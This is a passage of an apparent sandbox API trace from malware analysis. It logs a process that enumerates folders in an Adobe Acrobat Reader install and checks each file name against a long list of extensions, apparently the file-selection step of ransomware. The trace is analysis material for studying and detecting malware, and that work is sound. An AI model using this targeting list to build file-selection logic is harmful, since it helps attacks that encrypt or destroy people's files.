ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0266.408] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.408] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.408] lstrlenW (lpString="ui-strings.js") returned 13 [0266.408] lstrlenW (lpString=".1cd") returned 4 [0266.408] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.408] lstrlenW (lpString=".3ds") returned 4 [0266.408] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.408] lstrlenW (lpString=".3fr") returned 4 [0266.408] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.408] lstrlenW (lpString=".3g2") returned 4 [0266.408] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.408] lstrlenW (lpString=".3gp") returned 4 [0266.408] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.408] lstrlenW (lpString=".7z") returned 3 [0266.409] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.409] lstrlenW (lpString=".accda") returned 6 [0266.409] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".accdb") returned 6 [0266.409] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".accdc") returned 6 [0266.409] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".accde") returned 6 [0266.409] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".accdt") returned 6 [0266.409] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".accdw") returned 6 [0266.409] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.409] lstrlenW (lpString=".adb") returned 4 [0266.409] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.409] lstrlenW (lpString=".adp") returned 4 [0266.409] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.409] lstrlenW (lpString=".ai") returned 3 [0266.409] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.409] lstrlenW (lpString=".ai3") returned 4 [0266.409] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.409] lstrlenW (lpString=".ai4") returned 4 [0266.409] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.409] lstrlenW (lpString=".ai5") returned 4 [0266.410] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.410] lstrlenW (lpString=".ai6") returned 4 [0266.410] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.410] lstrlenW (lpString=".ai7") returned 4 [0266.410] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.410] lstrlenW (lpString=".ai8") returned 4 [0266.410] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.410] lstrlenW (lpString=".anim") returned 5 [0266.410] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.410] lstrlenW (lpString=".arw") returned 4 [0266.410] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.410] lstrlenW (lpString=".as") returned 3 [0266.410] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.410] lstrlenW (lpString=".asa") returned 4 [0266.410] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".asc") returned 4 [0266.411] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".ascx") returned 5 [0266.411] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.411] lstrlenW (lpString=".asm") returned 4 [0266.411] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".asmx") returned 5 [0266.411] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.411] lstrlenW (lpString=".asp") returned 4 [0266.411] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".aspx") returned 5 [0266.411] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.411] lstrlenW (lpString=".asr") returned 4 [0266.411] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".asx") returned 4 [0266.411] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".avi") returned 4 [0266.411] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".avs") returned 4 [0266.411] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.411] lstrlenW (lpString=".backup") returned 7 [0266.412] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.412] lstrlenW (lpString=".bak") returned 4 [0266.412] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.412] lstrlenW (lpString=".bay") returned 4 [0266.412] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.412] lstrlenW (lpString=".bd") returned 3 [0266.412] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.412] lstrlenW (lpString=".bin") returned 4 [0266.412] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.412] lstrlenW (lpString=".bmp") returned 4 [0266.412] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.412] lstrlenW (lpString=".bz2") returned 4 [0266.412] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.412] lstrlenW (lpString=".c") returned 2 [0266.412] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.412] lstrlenW (lpString=".cdr") returned 4 [0266.413] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".cer") returned 4 [0266.413] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".cf") returned 3 [0266.413] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.413] lstrlenW (lpString=".cfc") returned 4 [0266.413] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".cfm") returned 4 [0266.413] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".cfml") returned 5 [0266.413] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.413] lstrlenW (lpString=".cfu") returned 4 [0266.413] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".chm") returned 4 [0266.413] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.413] lstrlenW (lpString=".cin") returned 4 [0266.413] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".class") returned 6 [0266.481] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.481] lstrlenW (lpString=".clx") returned 4 [0266.481] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".config") returned 7 [0266.481] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.481] lstrlenW (lpString=".cpp") returned 4 [0266.481] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".cr2") returned 4 [0266.481] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".crt") returned 4 [0266.481] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".crw") returned 4 [0266.481] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".cs") returned 3 [0266.481] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.481] lstrlenW (lpString=".css") returned 4 [0266.481] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.481] lstrlenW (lpString=".csv") returned 4 [0266.482] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".cub") returned 4 [0266.482] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dae") returned 4 [0266.482] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dat") returned 4 [0266.482] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".db") returned 3 [0266.482] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.482] lstrlenW (lpString=".dbf") returned 4 [0266.482] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dbx") returned 4 [0266.482] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dc3") returned 4 [0266.482] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dcm") returned 4 [0266.482] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dcr") returned 4 [0266.482] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".der") returned 4 [0266.482] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.482] lstrlenW (lpString=".dib") returned 4 [0266.482] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.483] lstrlenW (lpString=".dic") returned 4 [0266.483] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.483] lstrlenW (lpString=".dif") returned 4 [0266.483] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.483] lstrlenW (lpString=".divx") returned 5 [0266.483] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.483] lstrlenW (lpString=".djvu") returned 5 [0266.483] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.483] lstrlenW (lpString=".dng") returned 4 [0266.483] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.483] lstrlenW (lpString=".doc") returned 4 [0266.483] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.483] lstrlenW (lpString=".docm") returned 5 [0266.483] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.483] lstrlenW (lpString=".docx") returned 5 [0266.483] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.484] lstrlenW (lpString=".dot") returned 4 [0266.484] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.484] lstrlenW (lpString=".dotm") returned 5 [0266.484] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.484] lstrlenW (lpString=".dotx") returned 5 [0266.484] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.484] lstrlenW (lpString=".dpx") returned 4 [0266.484] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.484] lstrlenW (lpString=".dqy") returned 4 [0266.484] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.484] lstrlenW (lpString=".dsn") returned 4 [0266.484] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.484] lstrlenW (lpString=".dt") returned 3 [0266.484] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.484] lstrlenW (lpString=".dtd") returned 4 [0266.484] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.484] lstrlenW (lpString=".dwg") returned 4 [0266.487] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.487] lstrlenW (lpString=".dwt") returned 4 [0266.487] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.487] lstrlenW (lpString=".dx") returned 3 [0266.487] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.487] lstrlenW (lpString=".dxf") returned 4 [0266.487] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.487] lstrlenW (lpString=".edml") returned 5 [0266.488] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.488] lstrlenW (lpString=".efd") returned 4 [0266.488] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.488] lstrlenW (lpString=".elf") returned 4 [0266.488] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.488] lstrlenW (lpString=".emf") returned 4 [0266.488] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.488] lstrlenW (lpString=".emz") returned 4 [0266.488] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.488] lstrlenW (lpString=".epf") returned 4 [0266.488] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.488] lstrlenW (lpString=".eps") returned 4 [0266.488] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.549] lstrlenW (lpString=".epsf") returned 5 [0266.549] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.549] lstrlenW (lpString=".epsp") returned 5 [0266.549] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.549] lstrlenW (lpString=".erf") returned 4 [0266.549] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.549] lstrlenW (lpString=".exr") returned 4 [0266.549] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.549] lstrlenW (lpString=".f4v") returned 4 [0266.549] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.549] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.549] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0266.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.550] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0266.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.550] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0266.550] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.551] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.551] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.551] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0266.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.551] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0266.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.551] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0266.552] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.553] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.553] lstrlenW (lpString="ui-strings.js") returned 13 [0266.553] lstrlenW (lpString=".1cd") returned 4 [0266.553] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.553] lstrlenW (lpString=".3ds") returned 4 [0266.553] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.553] lstrlenW (lpString=".3fr") returned 4 [0266.553] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.553] lstrlenW (lpString=".3g2") returned 4 [0266.553] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.553] lstrlenW (lpString=".3gp") returned 4 [0266.553] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.553] lstrlenW (lpString=".7z") returned 3 [0266.553] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.553] lstrlenW (lpString=".accda") returned 6 [0266.553] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.553] lstrlenW (lpString=".accdb") returned 6 [0266.553] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.553] lstrlenW (lpString=".accdc") returned 6 [0266.553] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.554] lstrlenW (lpString=".accde") returned 6 [0266.554] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.554] lstrlenW (lpString=".accdt") returned 6 [0266.554] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.554] lstrlenW (lpString=".accdw") returned 6 [0266.554] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.554] lstrlenW (lpString=".adb") returned 4 [0266.554] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.554] lstrlenW (lpString=".adp") returned 4 [0266.554] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.554] lstrlenW (lpString=".ai") returned 3 [0266.554] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.554] lstrlenW (lpString=".ai3") returned 4 [0266.554] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.554] lstrlenW (lpString=".ai4") returned 4 [0266.554] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.554] lstrlenW (lpString=".ai5") returned 4 [0266.554] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.554] lstrlenW (lpString=".ai6") returned 4 [0266.555] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".ai7") returned 4 [0266.555] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".ai8") returned 4 [0266.555] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".anim") returned 5 [0266.555] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.555] lstrlenW (lpString=".arw") returned 4 [0266.555] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".as") returned 3 [0266.555] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.555] lstrlenW (lpString=".asa") returned 4 [0266.555] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".asc") returned 4 [0266.555] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".ascx") returned 5 [0266.555] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.555] lstrlenW (lpString=".asm") returned 4 [0266.555] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".asmx") returned 5 [0266.555] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.555] lstrlenW (lpString=".asp") returned 4 [0266.555] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.555] lstrlenW (lpString=".aspx") returned 5 [0266.556] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.556] lstrlenW (lpString=".asr") returned 4 [0266.556] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".asx") returned 4 [0266.556] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".avi") returned 4 [0266.556] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".avs") returned 4 [0266.556] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".backup") returned 7 [0266.556] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.556] lstrlenW (lpString=".bak") returned 4 [0266.556] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".bay") returned 4 [0266.556] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.556] lstrlenW (lpString=".bd") returned 3 [0266.556] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.556] lstrlenW (lpString=".bin") returned 4 [0266.556] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".bmp") returned 4 [0266.557] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".bz2") returned 4 [0266.557] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".c") returned 2 [0266.557] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.557] lstrlenW (lpString=".cdr") returned 4 [0266.557] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".cer") returned 4 [0266.557] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".cf") returned 3 [0266.557] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.557] lstrlenW (lpString=".cfc") returned 4 [0266.557] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".cfm") returned 4 [0266.557] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".cfml") returned 5 [0266.557] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.557] lstrlenW (lpString=".cfu") returned 4 [0266.557] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".chm") returned 4 [0266.557] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".cin") returned 4 [0266.557] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.557] lstrlenW (lpString=".class") returned 6 [0266.558] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.558] lstrlenW (lpString=".clx") returned 4 [0266.558] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".config") returned 7 [0266.558] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.558] lstrlenW (lpString=".cpp") returned 4 [0266.558] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".cr2") returned 4 [0266.558] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.558] 